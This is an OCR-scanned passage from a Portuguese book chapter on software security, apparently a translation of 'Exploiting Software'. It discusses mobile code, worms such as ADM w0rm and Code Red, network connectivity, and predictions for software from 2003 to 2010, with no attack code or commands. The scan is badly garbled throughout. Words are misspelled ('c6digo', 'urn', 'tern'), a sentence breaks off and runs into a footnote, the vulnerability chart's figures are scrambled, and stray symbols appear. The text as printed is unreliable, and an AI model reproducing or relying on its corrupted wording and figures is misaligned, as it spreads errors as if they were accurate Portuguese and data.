Figura 1.6: Arquitetura do framework .NET. Note a semelhan~a arquitetonica com a plataforma java: verifica~ao, compila~ao just-in-time OIT), carregamento de classe, assinatura de c6digo e uma VM.
A Microsoft entrou com for~a total na "briga" do c6digo m6vel com a estrutura .NET. Como mostra a Figura 1.6, a arquitetura do .NET tern muitas coisas em comum como Java. Uma diferen~a importante ea menor enfase no suporte a multip las plataformas. Em todo caso, os sistemas extensfveis vieram para ficar. Em breve, a expressao c6digo m6vel sera redundante, porque todo c6digo sera m6vel. 0 c6digo m6vel tern urn lado negro que vai alem dos riscos inerentes ao seu projeto voltado a extensibilidade. De certa forma, os virus e worms sao tipos de c6digo m6vel. E' por isso que o acrescimo de anexos de e-mail executaveis e de VMs que executam c6digo incorporado em sites da Web eurn pesadelo de seguran~a. Veto res
18
Como quebrar c6digos
ch1ssicos do passado, incluindo a "rede-peao" [snearkernet, transferencia de informa~oes eletronicas por meio de fitas, disquetes etc.] eo executavel infectado que era trocado via aparelhos de modem, foram substituldos pelo e-mail e conteudo Web. No submundo dos hackers modernos, estao sendo utilizadas armas baseadas em c6digo m6vel. Os vfrus e worms de ataque simplesmente nao se propagam; eles instalam backdoors, monitoram OS sistemas e maquinas e comprometem as maquinas para LISO posterior com fins escusos. Os virus foram bastante difundidos no inicio da decada de 1990 e foram disseminados principalmente por arquivos executaveis infectados trocados em discos. 0 worm (verme] e urn tipo especial de vfrus que e disseminado em redes e nao depende da infec~ao de arquivos. Os worms sao uma varia~ao muito perigosa do virus classico e sao particularmente importantes porque atualmente dependemos das redes. A atividade de worm generalizou-se no final da decada de 1990, em bora muitos worms nao tenham sido muito divulgados nem compreendidos. Desde esses primeiros dias, a tecnologia de worms passou por grandes avan~os. Os worms permitem que o invasor fa~a um "tapete de bombas" contra uma rede, em uma explora~ao sem restri~oes que tenta explorar uma determinada vulnerabilidade o mais amplamente possfvel. lsso amplifica o efeito geral de um ataque e alcan~a resultados que nao poderiam jamais ser obtidos pela invasao manual de uma maquina por vez. Por causa do sucesso da tecnologia dos worms no final da decada de 1990, a maioria das 1000 maiores empresas do mundo (se nao todas elas) foi infectada por backdoors. Ha varies rumores no underground sobre a chamada Fortune 500 List - uma lista dos backdoors que estao atualmente em atividade nas redes das 500 maiores empresas do mundo no ranking da revista Fortune. Um dos primeiros worms clandestinos e maliciosos a infectar a rede global e ser amplamente utilizado como uma ferramenta de invasao foi criado por grupo secreto de hackers que se denomina ADM, abrevia~ao de Association De Malfaiteurs. 0 worm, chamado ADM w0rm 11 explora uma vulnerabilidade de buffer overflow em servidores de nome de domfnio (DNS). 12 Uma vez infectada, a maquina vitima come~a a fazer a varredura procurando outros servidores vulneraveis. Dezenas de milhares de maquinas foram infectadas por esse worm, mas a imprensa nao falou muito sobre ele. Algumas das primeiras vftimas do ADM continuam infectadas ate hoje. 0 que e de alarmar e que a vulnerabilidade de DNS utilizada por esse worm ainda nao mostrou todo seu potencial. 0 proprio worm foi projetado para permitir que outras tecnicas de explora~ao sejam facilmente acrescentadas ao seu arsenal. 0 worm em si era, na verdade, urn sistema extensive!. Podemos supor que lui uma grande quantidade de versoes desse worm na Internet atualmente. 11. 0 ADMwOrm-vl.tar pode ser encontrado em varios sites da Internet e contem o c6digo-fonte para o famigerado ADM wOrm, que surgiu na primavera de 1998. 12. Eposslvel encomrar mais informa~oes sobre problemas do BIND em http://www.cert.org/advisories/ CA-98.05.
Capitulo 1
Software - a raiz do problema
19
Em 2001, urn famoso worm de rede chamado Code Red chegou as manchetes ao infectar centenas de milhares de servidores. 0 Code Red infecta servidores Web Microsoft ITS explorando urn problema de software muito simples e, infelizmente, muito comum.13 Como geralmente acontece em urn ataque bem-sucedido e altamente divulgado, surgiram diversas varia~oes desse worm. 0 Code Red infecta urn servidor e em seguida come~a a procurar mais alvos. A versao original do Code Red tende a varrer outras maquinas que estao pr6ximas a rede infectada. Isso limita a velocidade de dissemina~ao do Code Red. Logo ap6s sua estreia na rede, uma versao melhorada do Code Red foi lan~ada, corrigindo o problema e acrescentando urn algoritmo de varredura otimizado. Isso aumentou mais ainda a velocidade com que o Code Red infecta os sistemas. 0 sucesso do worm Code Red se baseia em urn defeito de software muito simples que vern sendo amplamente explorado ha mais de 20 anos. 0 fa to que uma grande quantidade de maquinas baseadas no Windows compartilharem o defeito certamente ajudou o Code Red a se disseminar de modo tao rapido. Foram observados efeitos semelhantes em novos worms, como o Blaster e o Slammer. Mais adiante, voltaremos ao assunto do problema do c6digo malicioso e sua rela~ao com a explora~ao de software. Tambem examinaremos as ferramentas de invasao que exploram software.
Conectlvldade A crescente conectividade dos computadores por meio da Internet aumentou o numero de vetores de ataque (caminhos para o ataque) e tambem a facilidade de atacar. As conexoes variam entre PCs domesticos e sistemas que controlam infra-estruturas crfticas (como as redes de energia). 0 alto grau de conectividade possibilita que pequenas falhas se propaguem e causem grandes interrup~oes nos servi~os. A hist6ria provou isso nas falhas da rede de telefonia e do sistema da rede de energia, como foi dito na lista de discussao COMP.RISKS e no livro Computer-Related Risks [Neumann, 1995]. Como o acesso por meio de uma rede nao requer interven~ao humana, o lan~a mento de ataques automatizados e relativamente facil. Os ataques automatizados mudam o panorama da amea~a. Considere as formas mais antigas de invasao. Em 1975, se voce quisesse telefonar de gra~a, precisaria de uma "blue box". A blue box podia ser comprada em um campus unive.rsitario, mas era necessario encontrar urn intermediario. Alem disso, as blue boxes custavam caro. lsso significa que somente algumas pessoas tinham blue boxes, e a amea~a se propagou lentamente. Compare com a situa~ao atual: caso se descubra uma vulnerabilidade que permita aos invasores roubar a transmissao em Pay-Per-View, as informa~oes podem ser postadas em urn site e urn milhao de pessoas podem fazer o download da explora~ao em uma questao de horas, causando urn profundo impacto negativo sobre os lucros.
13. 0 Code Red explora um buffer overflow na idq.dll, urn componente da ISAPI.
20
Como quebrar c6digos
Novos protocolos e meios de entrega sao desenvolvidos constantemente. 0 resultado disso e uma quantidade maior de c6digo que nao foi bern testado. Estao sendo desenvolvidos novos dispositivos que podem conectar a geladeira ao fabricante. 0 telefone celular tern urn SO completo incorporado, com urn sistema de arquivos. A Figura 1.7 mostra urn novo telefone particularmente avans:ado. Imagine o que aconteceria se urn vfrus infectasse a rede de telefonia celular.
e
Figura 1 .7 : Este urn telefone celular complexo oferecido pela Nokia . Conforme os telefones adquirem fun~6es como e-mail e navega<;ao na Web, eles ficam mais suscetfveis.
As redes altamente conectadas sao particularmente vulnen1veis a cortes nos servis:os devido a worms de rede. Urn dos paradoxos da rede e que a alta conectividade e urn mecanismo ch1ssico para aumentar a disponibilidade e a confiabilidade, mas a diversidade de caminhos tambem leva a urn aumento direto da capacidade de sobrevivencia dos worms. Por fim, o aspecto mais importante da rede global e o lado economico. Todas as economias do mundo estao conectadas entre si. Bilhoes de d6lares passam por essa rede a cada segundo, trilhoes de d6lares por dia. S6 a rede SWIFT, que conecta 7.000 financeiras internacionais, movimenta trilhoes de d6lares todo dia. Dentro desse sistema interconectado, uma enorme quantidade de sistemas de software conectam-se entre si e se comunicam em urn grande fluxo de numeros. As na<;6es e corporas:oes multinacionais dependem dessa rede moderna de informas:oes. Uma falha nesse sistema poderia causar uma catastrofe instantanea, desestabilizando economias inteiras em segundos. Uma falha em cascara poderia muito bern fazer todo o mundo virtual parar. Supostamente, urn dos objetivos do abjeto ataque terrorista de 11/9/2001 era destruir o sistema financeiro mundial. Trata-se de urn risco moderno que temos de enfrentar. Talvez a populas:ao nunca venha a saber quantos ataques de software sao feitos contra o sistema financeiro todos os dias. Os bancos sao muito bons quando se trata de manter o sigilo dessas informas:oes. Considerando que foram confiscados compuradores capazes de funcionar em redeem poder de reconhecidos terroristas e criminosos condenados, nao seria surpresa descobrir que atividades criminosas e terroristas envolvem ataques a redes financeiras.
"' 0 """ z
Capitulo 1
Software - a raiz do problema
21
0 resultado Em conjunto, a trindade problematica tern urn impacto profundo sobre a seguranc;a de software. As tres tendencias - aumento da complexidade do sistema, extensibilidade incorporada e rede (ou conecrividade) onipresente- tornam o problema de seguranc;a de software mais urgente que nunca. Para infelicidade das pessoas de bern, a triodade problematica tende a facilitar muito a explora~ao de software! Em mar~o de 2003, o Computer Security Institute divulgou sua oitava pesquisa anual, que mostra que 56% das 524 grandes empresas e i nstitui~oes pesquisadas admitiram ter sofrido prejulzos financeiros resultantes de brechas de computador no ano anterior. A maioria dessas brechas ocorreu pela Internet. Entre os alvos comprometidos, os 251 que se dispuseram a contabilizar as perdas admitiram que a invasao lhes custou, em conjunto, 202 milhoes de d6lares. Mesmo que os valores fossem dez vezes menores do que isso, ainda assim seriam inaceitavelmente altos. Embora os numeros espedficos informados nessa pesquisa altamente conhecida possam ser contestados, as tendencias detectadas por essa pesquisa anual sao urn indicador excelente do crescimento e importancia do problema de seguran~a computacional.
0 futuro do software E' provavel que o problema de seguran~a de software piore antes de melhorar. 0 problema eque o proprio software esta mudando mais nipido do que a tecnologia de seguranc;a de software. A trindade problematica rem urn impacto importante em varias das tendencias apresentadas nesta se~ao. Correndo o risco de estar seriamente equivocados, iremos agora consultar nossa bola de crista) e ver o futuro do software. Nossa missao e entender aonde estamos indo e pensar como isso ira influir na seguranc;a de software e na arte de explorar o software. Nossa apresenta~ao e organizada em tres perlodos. (Naturalmente, qualquer pessoa que se propoe a prever o futuro esta fadada a erro). Portanto, seja cauteloso em relac;ao a estas previsoes. 14 Futuro de curto prazo: 2003-2004 Iniciamos com uma discussao sobre o futuro imediato em termos de software. Muitas dessas tendencias ja estao em vigor agora que escrevemos este livro. Algumas vern emergindo ha alguns anos. Mais componentes: 0 software baseado em componentes finalmente esta se consolidando. Urn dos motivos disso e a necessidade de sistemas mais robustos, 14. Cabe aqui urn agradecimento. Este material foi desenvolvido com a contribuic;ao de varias pessoas, denrre as quais o Technical Advisory Board da Cigital. As principais contribuic;oes foram de Jeff Payne (Cigital), Peter Neumann (SRI), Fred Schneider (Cornell), Ed Felten (Princeton), Vic Basilli (Maryland) e Elaine Weyuker (AT&T). Naturalmeme, quaisquer erros e omissoes sao nossa falha .
22
Como quebrar c6digos
confi::lveis e seguros. As empresas que tern c6digo de missao crftica estao utilizando sistemas como Enterprise Java Beans (EJB), CORBA e COM (inclusive sua instancia~ao .NET). Os componentes escritos nesses frameworks funcionam naturalmente em um ambiente distribuldo e foram criados tendo em mente a comunica~ao interobjetos entre varios servidores. Varias organiza~oes de desenvolvimento avanc;ado estao criando componentes padronizados para prop6sitos especiais (criando, as vezes, componentes criticos para a seguran~a, como urn componente para a autentica~ao adequada do usuario). Isso pode ser extremamente util ao abordar o problema de cria~ao de softwares criticos para a seguranc;a, porque os componentes-padrao que implementam uma arquitetura de seguran~a razoavel podem ser integrados transparentemente em urn novo projeto. Entretanto, a arte de combinar componentes em urn sistema coerente enquanto se mantem as propriedades emergentes, como a seguran~a, e algo extremamente diflcil e mal compreendido, o que deixa o software baseado em componentes sujeito a explorac;ao. lntegrac;ao mais forte como sistema operacional (SO): 0 faro de a Microsoft ter integrado o Internet Explorer ao seu SO nao aconteceu por acaso. Os limites entre o SO e os aplicativos, que antes eram claros, comec;am a desaparecer. Muitas atividades que antes requeriam aplicativos de uso especial, agora vern como padriio em muitos SOs, e os aplicativos que parecem ser independentes (stand-alone) costumam ser meras fachadas criadas com base em varios servic;os do SO. A integra~ao profunda com o SO leva a riscos de seguran~a, porque vai contra o prindpio de compartimentalizas;ao. Quando a explorac;ao de um aplicativo tem como efeito colateral o comprometimento total do SO, a explora<;iio do sistema por meio do software torna-se muito mais facil.
0 inicio do encapsulamento: Os sistemas operacionais tendem a fazer demais, em todas as situas:oes. lsso leva a problemas de seguranc;a e confiabilidade. Uma maneira de combater o fenomeno do "exagero" produzido pela forte integra~ao entre aplicativos e sistemas operacionais e encapsular func;oes semelhantes em conjunto e protege-las do lado de fora. Urn dos bons exemplos daquilo que queremos pode ser localizado no encapsulamento do SO pela JVM. A JVM controla de forma mais rigorosa os programas que executa, em compara~ao com urn SO generico. Isso e muito born para seguran~a de software. Logicamente, e muito diffcil fazer com que os modelos de segurans;a avans;ados com base no encapsulamento baseado na linguagem funcionem perfeitamente. Muitas exploras;oes conhecidas de software foram tentadas contra a JVM (consulte Securing java [McGraw e Felten, 1998]).
0 come<;o da tecnologia sem fio: A ados;ao do sistema sem fio esta comec;ando com for~a. Logo o 802.11b e seus sucessores (esperamos que sejam melhorados) serao utilizados de forma generalizada. A conexao em rede sem fio tern urn forte impacto (negativo) na seguranc;a porque atua para quebrar ainda mais as barrei-
Capitulo 1
Software - a raiz do problema
23
ras ffsicas. Sem a necessidade de fio para conectar as maquinas fisicamente, fica muito mais diffcil determinar onde o perfmetro de seguran~a esta localizado. As explora~oes de software em sistemas sem fio foram amplamente alardeadas pela imprensa em 2001, inclusive uma quebra completa do algoritmo de criptografia de privacidade equivalente a com fio (WEP) 15 eo ressurgimento dos ataques de envenenamento de cache do protocolo de resolu~ao de endere~os (address resolution protocol- ARP) (http://www.cigital.com/news/wireless-se.html). No momento em que este livro esta no prelo, o 802.11i vern sendo adotado rapidamente. Ele promete uma abordagem superior a seguran~a, em compara~ao como WEP, muito criticado. Mais PDAs (e outros sistemas embarcados): Os PDAs como o Palm Pilot estao tornando-se comuns. Novas gera~oes desses dispositivos contem o recurso de Internet incorporado. 0 Treo da Handspring representa a convergencia entre telefone, PDA e sistema de e-mail em urn dispositivo de rede altamente portavel. Esses dispositivos sao aparelhos simples, de mao, que podem ser urilizados para executar varias atividades crfticas para a seguran~a, como verifica~ao de e-mail, pedido de entrega de refei~oes e compra de a~oes. Em geral, os PDAs sao programados remotamente e utilizam o paradigma do c6digo m6vel para receber e instalar novos programas. Embora tenha havido poucas explora~oes de software em PDAs ate o momento, os PDAs-padrao geralmente nao tern uma estrutura de seguran~a.
Sistemas logicamente distribuidos: Os softwares baseados em componentes e os sistemas distribuidos andam de maos dadas. Os componentes, quando sao feitos corretamente, proporcionam fun~oes que podem ser combinadas de forma interessante. Dessa forma, a funcionalidade de urn sistema completo e logicamente distribufda entre varios componentes interconectados. Esse tipo de formato modular e util porque permire separar as atribui~oes e compartimentar; mas os sistemas distribufdos sao complicados e ediffcil faze-los funcionar perfeitamente. Os sistemas distribuidos mais comuns da atualidade estao colocados geograficamente e costumam usar urn unico processador em comum. A famflia Windows de sistemas operacionais, composta de centenas de componentes como DLLs, e urn grande exemplo disso. 0 Windows eum sistema logicamente distribuido. Infelizmente, a complexidade e amiga da exploras;ao de software; sendo assim, os sistemas distribuldos costumam facilitar a tarefa de explorar o software. Surgimento do .NET: A Microsoft entrou na "briga" do c6digo m6vel com o surgimento do .NET. Normalmente, quando a Microsoft entra forte em urn mercado, isso eurn sinal que o mercado esta maduro e pronto para ser explorado. 0
15. A quebra do WEP foi popularizada por Rubin e Adam Stubblefield. Para obrer mais infonna~oes, consulte http://www.nytimes.com/2001/08/19/technology/19WIRE ou http://www.avirubin.com.
24
Como quebrar c6digos
Java apresentou ao, mundo o c6digo m6vel e o formato moderno de software centrado na rede. E provavel que o .NET desempenhe urn papel importante no c6digo m6vel a medida que evoluir. As explora~oes contra modelos avan~ados de seguran~a que se destinam a proteger contra c6digos m6veis maliciosos vern sendo debatidas ha anos. 0 surgimento de urn conjunto de tecnologias para VM, desde as YMs para pequenos processadores de cartao inteligente de 8 bits ate complicadas VMs de servidor de aplicativos que dao suporte a sistemas como o j2EE significa que, do ponto de vista da seguran~a, o tamanho unico nao serve para todas as fun<;oes. Ainda ha muito trabalho a fazer para determinar os tipos de mecanismos de seguran~a razoaveis para dispositivos com limitac;oes de recursos (como os dispositivos J2ME). 16 Nesse Interim, as novas VMs da serie estao prontas para a exp l ora~ao de software. Codigo movel em uso: 0 surgimento do Java em 1995 foi anunciado com muito estardalhac;o sobre applets e c6digo m6vel. 0 problema era que o c6digo m6vel ' estava a frente do seu tempo. A medida que os dispositivos Internet embarcados vao se tornando mais comuns e varios sistemas diferentes sao colocados juntos em rede, o c6digo m6vel chegara a situa<;ao ideal. Isso fica evidente ao considerar que e improvavel que os telefones com JVMs sejam programados por meio dos botoes do telefone. Em vez disso, o c6digo sera escrito em outro dispositivo e carregado no telefone conforme a necessidade. Apesa.r de certamente exjstirem problemas criticos de seguranc;a em relac;ao ao c6digo m6vel (consulte Securing java [McGraw e Felten, 1998] para ver exemplos), a demanda eo uso do c6digo m6vel aumentarao. Codigo Web e XML: Embora o estouro da bolha do .com tenha diminufdo o entusiasmo em torno do comercio eletr6nico (e-business), ainda e verdade que os sistemas baseados na Web realmente pressionam as cadeias de valor comercial de maneiras tangfveis. Os neg6cios continuarao a tirar proveito de sistemas centrados na Web para se tornar mais eficientes. A XML, uma linguagem simples de marca~ao de dados, desempenha urn papel importante no armazenamento e na manipula~ao de dados nos sistemas modernos de comercio eletr6nico. 0 c6digo baseado na Web tern varios problemas em relac;ao a seguranc;a. Se a empresa utiliza urn servidor Web para armazenar dados de missao crftica, a seguran~a do servidor (e todos os aplicativos executados nele) se torna mais importante. Grandes quanticlades de explora<;6es no ini'cio dos anos 2000 tern o objetivo de comprometer o software baseado na Web. Servi~os
por assinatura: A ideia de pagar pelo que voce realmente utiliza esta come~ando a ser aplicada ao software e a outros conteudos digitais. Isso leva a
16. McGraw amalmente desenvolve uma pesquisa como apoio da Defense Advanced Research Projects Agency (DARPA) sobre esse problema: Verba da DARPA no. F30602-99-C-0172, intitulada An Investigation of Extensible System Security for Highly Resource-Constrained Wireless Devices.
Capitulo 1
Software - a raiz do problema
25
urn conjunto evidente de problemas de seguranc;a, como, por exemplo, proteger o servic;o ou o conteudo (o objeto da assinatura) contra roubo. De acordo com a teoria de ciencia da computa<;ao, a prote<;ao do conteudo digital e urn problema nao-resolvido e impossfvel de resolver. Ha muitas explorac;oes de software nessa area, apesar de leis como a Digital Millennium Copyright Act (DMCA) com o objetivo de tornar essas explorac;oes ilegais. 0 futuro proximo do software ja esta acontecendo. 0 estado atual das tendencias identificadas aqui pode ser verificado aprofundando-se nos conceitos, tecnologias e ideias a seguir: • Linguagens de programa<;ao avan<;adas (especialmente as que tern propriedades de tipos seguros) • Java, scheme, Eiffel, ML (o conhecimento de calculos lambda e uti!) • Computa<;ao distribuida • Conteineres • Criac;ao de software seguro • "Sandboxing" e encapsulamento de execu<;ao de c6digo • WAP, iMode, 2 .5G, 3G • Rede de baixo nivel Futuro de medlo prazo: 2005- 2007
E' provavel que as tendencias de curto prazo abordadas anteriormente evoluam, tendo como resultado urn novo conjunto de ideias de destaque. Tenha em mente que, quanto mais olhamos para a bola de crista!, maior e a possibilidade de erro. Unidades computacionais de uso especial: E' prov
17. Observe que ha contra-exemplos dessa tendencia. Por exemplo: a unica diferen<;a entre os tipos de motor em algumas linhas de produto de autom6veis e o software de controle que altera os pariimetros de desempenho do motor. Isso leva ao surgimento de urn mercado negro de c6digo de controle de motores (utilizado para "envenenar" os carros). Esse software de controle e executado em plataformas compuracionais padriio. 0 hacking do software de conrrolc de aurom6vcis rambem e conhecida como "chipping".
26
Como quebrar c6digos
para aumentar a capacidade. Nao se sabe sea nova capacidade assumini a forma de urn computador universal que aceita codigo movel para determinar sua fun~ao. Sob o ponto de vista do usuario, o resulrado disso serao os "objeros inteligentes" . 0 software desempenhara urn papel importante nos objetos inteligentes, e e provavel que o comprometimento desses objetos, sob o ponto de vista da seguran~a, envolva a explora~ao de software . .NET e Java: Os sistemas que envolvem VMs que executam o mesmo codigo em varias plaraformas diferentes se tornado muito mais comuns. (A Sun expressa essa ideia de urn modo muito concise e objetivo: "escreva uma vez; execute em qualquer Iugar.") Desde o surgimento do Java em 1995, a JVM tomou de assalto o mundo do software. 0 .NET e resposta da Microsoft para o fenomeno Java. Embora a tecnologia de VM permita o uso de modelos de seguran~a avan~ados baseados em linguagem, as VMs sao tam bern grande motivador da extensibilidade, e, como ja dissemos, a extensibilidade e urn perigo. Encapsulamento do SO: 0 encapsulamento do SO liderado pelo Java e pelo .NET continuara a ganhar importancia. A prolifera~ao dessas plataformas traz a ideia de uma VM que possa, de fato, fazer com que o recurso de "escrever uma vez; executar em qualquer Iugar" chegue mais proximo a realidade. Os dispositivos incorporados com implementa~oes de hardware de VMs serao mais comuns. 0 movimento final dessa tendencia pode muito bern ser urn tipo de SO de "uso especial" criado especificamente para o dispositive ao qual os SOs oferecem suporte. Um dos primeiros exemplos e 0 so da Palm. Como OS kernels dos SOs em geral funcionam base de privilegios, a ideia do codigo privilegiado e superusuario (SUID) sera transferida para 0 proprio dispositive. Essa e uma possfvel area de explora~ao.
a
Dissemina<;ao dos sistemas sem fio e embarcados: 0 conceito de rede sem fio sera firmemente consolidado e disseminado. Os problemas de seguran~a aumentarao a medida que uma quantidade maior de aplicativos criticos para os negocios venham a incluir um componente sem fio. Sistemas geograficamente distribuidos: Os sistemas logicamente distribufdos como o Win32 evoluirao para sistemas geograficamente distribuidos a medida que surgem as unidades computacionais de uso especial. Assim que esses sistemas passarem a utilizar a rede como urn meio de comunica~oes, os problemas de seguran~a serao maiores. A seguran<;a no nivel de transporte por meio de criptografia pode ajudar a resolver esses problemas, mas os ataques "man-in-the-middle" sed'io mais corriqueiros, assim como os ataques ligados sincronia, como races conditions. A explora<;ao de software em urn sistema geograficamente distribuido e interessante porque 0 leque de prote~oes oferecidas por varies hosts diferentes do sistema rem possibilidade de variar. Como a for~a da seguran~a e a for~a do seu elo mais fraco, 0 ato de determinar qual dos varies hosts distribufdos e 0 mais fraco fara parte da estrategia de ataque.
a
Capitulo 1
Software - a raiz do problema
27
Ado~ao
da computa~ao terceirizada: A computac;ao pode vir a ser mais parecida com a energia eletr.ica, com ciclos disponfveis para o uso simplesmente "ligando na tomada". 0 conceito de computac;ao terceirizada envolve varios problemas de seguranc;a. 18 Questoes do tipo: como se pode confiar em uma resposta? Como se pode proteger o conhecimento sobre o problema que esta sendo resolvido a partir do host que faz a computa~Zw? A questao "Como se pode delegar recursos e carga para uso adequadamente?" sera corriqueira. 0 impacto da explorac;ao de software sera grande, porque o invasor teni de determinar nao s6 como atacar, mas tambem onde atacar, e a redundancia sera utilizada para detectar ataques. Distribui~ao
de software: A ideia de instalar c6pias de urn programa de nfvel corporative em cada maquina comec;ara a fazer menos sentido. Em vez disso, a funcionalidade de software sera fornecida , de acordo com a necessidade e os usuarios pagarao pelas func;oes que usarem. E provavel que o modele de licenciamento de software Application Service Provider (ASP) comece a ser mais utilizado. As empresas de software estao se preparando para isso mudando o modo atual de licenciamento e cobran~a de software. Uma nova classe de ataques a software direcionados a furtar func;oes sub-repticiamente evoluira.
a
0 c6digo m6vel prevalecera: Devido onipresenc;a dos sistemas em rede, no futuro todo c6digo sera m6vel. 0 termo c6digo m6vel cairci em desuso por ser redundante. Os modelos de seguranc;a baseados na linguagem terao mais importancia, e os ataques contra esse tipo de mecanismos de seguranc;a (muitos dos quais foram inventados em meados da decada de 1990) serao comuns. Os profissionais de software que estiverem interessados em reagir contra essas tendencias e proteger o c6digo contra explorac;ao devem aprender o maximo possfvel sabre os seguintes conceitos: • • • • • • • • •
Pensamento orientado a objetos Entendimento das implicac;oes temporais Sistemas distribufdos Seguranc;a em urn ambiente hostil Nao pressuponha nada Linguagens de programac;ao Simplicidade Injec;ao de falhas Privacidade e controle
Futuro de Iongo prazo: 2008-2010
Agora passaremos a fazer previsoes sabre o futuro de software a Iongo prazo. Como o desenvolvimento do software e tempo da Internet tern levado a uma grande acelera18. Naturalmentc, isso e
Ulll
resquicio dos sistemas de tempo compartilhado das decadas de 1960 c 1970.
28
Como quebrar c6digos
~ao na mudan~a do software, essas previs6es podem estar totalmente erradas. Tenha
muita cautela em
rela~ao
a elas.
Objetos verdadeiros: 0 ponto extremo da interse<;ao de objetos computacionais, encapsulamento de SO e computa<;ao geograficamente distribufda teni como resultado a dissemina<;ao dos objetos verdadeiros. Canetas e papel terao APis (Application Programming Interface). Interruptores de lampadas executarao c6digos. A explora~ao de software sera mais diverrida do que nunca. Desaparecimento do SO: Depois de ser "ahra~ado" e encapsulado pela VM, o SO come<;ani a desaparecer. Os aplicativos terao seus pr6prios servi<;os do tipo SO a partir de varios componentes. A Microsoft parece concordar, e e facil perceber por que a Microsoft leva o .NET a serio. A mensagem de McNealy a respeito da "rede como computador" seni uma realidade. Essa tendencia pode dificultar a explora~ao de software. Atualmente, com plataformas monolfticas comuns compartilhando as mesmas vulnerabilidades em uso generalizado, ha uma quantidade enorme de alvos em potencial. No futuro, e provavel que a escolha de alvos nao seja tao f:icil. Servi\OS computacionais: A tendencia de distribui~ao de software pode evoluir para urn mercado de servi\=OS computacionais. Esses servi<;os podem ser vendidos "por ciclo" para programas que se conectam a eles e solicitam subcomputa~6es . Teia de computa<;ao (onipresen~a): Os ciclos podem tornar-se tao onipresentes quanto oar. A cobran~a por ciclos (e por CPUs) nao fani mais sentido. Dispositivos inteligentes: Os dispositivos nao serao "inteligentes" apenas no sentide que terao urn software incorporado; as tecnicas de inteligencia artificial (IA) come~arao a ser util izadas em dispositivos do dia-a-dia. As tecnicas de lA come<;arao a ser utilizadas para fins de seguran<;a, confiabilidade e outras propriedades emergentes de software. Todo c6digo sera m6vel: Como a rede e o computador, todo c6digo sera baseado em rede. Computa\ao baseada na localiza\ao: Se.r ao comuns os programas que reagem ao local onde estao sendo executados. Algoritmos criptognificos que funcionam somente em certas coordenadas de um satelite de posicionamento global (GPS) serao amplamente utilizados (nao apenas pelos 6rgaos de inteligencia, como acontece atualmente). Havera programas que ajudarao OS usuarios lembrando-os de algumas coisas (e vendendo coisas) com base na proximidade fisica ("nao seesque~a de pegar o Ieite"). De certa forma, os telefones WAP estao abrindo caminho, com recursos de propaganda sensfveis ao local.
Capitulo 1
Software - a raiz do problema
29
Sistemas auto-organizaveis e computa~ao emergente: E' possfvel que seja inventado urn software que se organiza para resolver urn problema. Utilizando algoritmos geneticos, metodos chissicos de busca e metaforas biologicas, novos tipos de software serao criados. Defesas biol6gicas natura is (como o sistema imunol6gico) serao copiadas pelos sistemas de software do futuro que quiserem sobreviver e prosperar em urn ambiente hostil. 0 software auto-organizavel pode ser mais diffcil de explorar do que o c6digo malfeito que existe atualmente. Algumas areas que parecem utopicas influenciara.o profundamente o fut uro distante de software. Essas areas podem ser as seguintes: • • • • • •
lA Sistemas emergentes e teoria de caos Teste automatico Inje~ao de falhas em interfaces componentes Privacidade Interfaces
10 tendenclas emergem
Dez tendencias estao interligadas em todas as previsoes anteriores. Elas sao as seguintes:
1. Desaparecimento do SO 2 . Ado~ao em massa de redes sem fio 3. Sistemas embarcados e dispositivos computacionais especializados 4. Computa~ao verdadeiramente distribufda 5. Evo l u~ao dos "objetos" e componentes 6. Teia de informa~oes (onipresen~a) 7. IA, gerenciamento de conhecimento e computa~ao emergente 8. Pagamento por byte (ou por ciclo ou fun~ao) 9 . Ferramentas de projeto/programa~ao de alto nfvel 10. Computa~ao baseada na localiza~ao (peer to pee1·)
a
Devido velocidade da evolu~ao do software em urn tempo de vida relativamente curto, e facil explorar o software. Obviamente, a evolu~ao do software nao ficani mais lema. Isso dificulta muito o trabalho de cria~ao de softwares que se comportam bem e da muito espa~o para os invasores de software trabalharem.
0 que
e seguran~a de software?
Fazer o software se comportar bern e urn processo que envolve identificar e codificar a polltica e, em seguida, fazer cumprir a polftica com uma tecnologia razoavel. Nao existe nenhuma "bala de prata" na seguran~a de software. A tecnologia avan~ada de analise de c6digo e boa para encontrar erros no nfvel de implementa~ao, mas nao ha
Como quebrar c6digos
30
nenhum substitute para experiencia. A tecnologia avan~ada de seguran~a de aplicativos e excelente para garantir que somente softwares aprovados sejam executados, mas nao e boa para encontrar vulnerabilidades em executaveis. No final da decada de 1990, houve uma explosao no mercado de seguranc;a, e varias "soluc;oes de seguran<;a" foram criadas e vendidas. 0 dinheiro correu solto. Mas, depois de anos de gastos em firewalls, produtos antivirus e criptografia, as explorac;oes continuam em crescimento. As vulnerabilidades estao aumentando, como mostra a Figura 1.8. 5.000 . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - , Total de vulnerabilidades informadas 4.500
(1995- 2002): 9.162
4.129
4.000 3.500 3.000 2.500 2.000 1.500 1.000 500
0
345
171
331
322
~--~---T---r---~---T---r---~--~
1995
1996
1997
1998
1999
2000
2001
2002
Figura 1.8: Vulnerabilidades de software relatadas ao CERTICC. Esse numero continua a aumentar.
Na verdade, firewalls oferecem pouca protec;ao as redes. Os produtos de detec~ao de invasoes estao cheios de erros e causam uma quantidade excessiva de falsos positives, ficando aquem das expectativas comerciais. As empresas de servic;o empregam anos de trabalho, mas o c6digo ainda permite a invasao. Por que isso acontece? Em que temos gasto dinheiro durante todo esse tempo? Um dos fatores importantes e que a seguranc;a foi vendida como um produto, uma solu~ao como se fosse a bala de prata: "E' s6 comprar essa geringon~a e todos os seus problemas acabam." Voce compra uma caixa vermelha, parafusa-a em urn suporte e espere ... o que? A maioria dos mecanismos de defesa vendidos atualmente faz pouco para atacar o cerne do problema- software de ma qualidade. Em vez disso, eles atuam de modo reativo: nao permitem que os pacotes entrem nessa ou naquela
po1·ta. Procuram arquivos que contenham um determinado padrao. Descartam pacotes parciais e pacotes de maior tamanho sem analisd-los. Infelizmente, o trafego de rede realmente nao e a melhor abordagem ao problema. 0 problema eo software que processa os pacotes que tem permtssao para entrar. A
•
-
Podemos afirmar sem duvida nenhuma que ha defeitos no software que voce utiliza todos os dias e que esse software faz certas coisas, como fazer a rede funcionar.
Capitulo 1
Software - a raiz do problema
31
